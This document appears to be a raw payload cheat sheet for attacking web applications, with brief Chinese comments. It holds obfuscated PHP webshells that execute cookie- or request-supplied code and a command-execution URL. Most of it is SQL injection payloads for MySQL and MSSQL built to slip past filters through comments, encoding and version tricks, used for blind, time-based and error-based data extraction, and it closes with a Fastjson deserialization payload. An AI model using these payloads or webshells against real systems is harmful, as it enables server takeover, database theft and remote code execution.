http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami

<?php$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;?>

<?php$poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));?>

and @@version>~1and (user|1)>-1and (db_name()|1)>.1

and ~1=(select top 1 name from[sysobjects]);--

and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));

?id=1 union/*!1*/select null,name,null from [info]--*/

?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/?id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/

?id='1'|1?id='1'|2?id='1'&2?id='1'&1?id='1'<~1?id=1' and CONCAT(1)-- +?id=1' and CONCAT(0)-- +?id=1' and CONV(1,11,2)-- +?id=1' and CONV(0,11,2)-- +?id=1' and BINARY 1-- +?id=1' and BINARY 0-- +

?id=1' union/*!11440select*/ 1,2,3--+ ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+

union %23%0aall selectunion  -- hex()%0a select

?id=-1' /*&id='union select 1,user(),3 -- +*/?id=-1' /*&id=' union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1\

`information_schema`.schemata`information_schema`.`schemata`information_schema.`schemata`(information_schema.schemata)information_schema/**/.schemata

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)=r  #结果如果为true，则用户有可能是rootand!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=unhex(72)

 /*updatexml*/(1,1,1) /*!5000updatexml*/(1,1,1)  /*!11440updatexml*/(1,1,1)  /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)   #and运算符  /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)   | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)    xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)    /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)

?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

and ~1=1  
and!!!1=1 
and 1-1   
and true
and 1

and!!!substr((select user-- (1)%0a()),1,1)='r'

union(select 1,2,3)

and `updatexml`(1,select `user`%0a(),1)

and 'a'-0 #后面的值是0，相当于and 0and 'a'|1 #后面的值是1，相当于and 1

and strcmp((substr((select user/**/()),2,1)),'0')?id=1'  and strcmp((substr((select /*from*/),2,1)),'0')-- + ?id=1'  and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +

?id=1'  and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +

{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}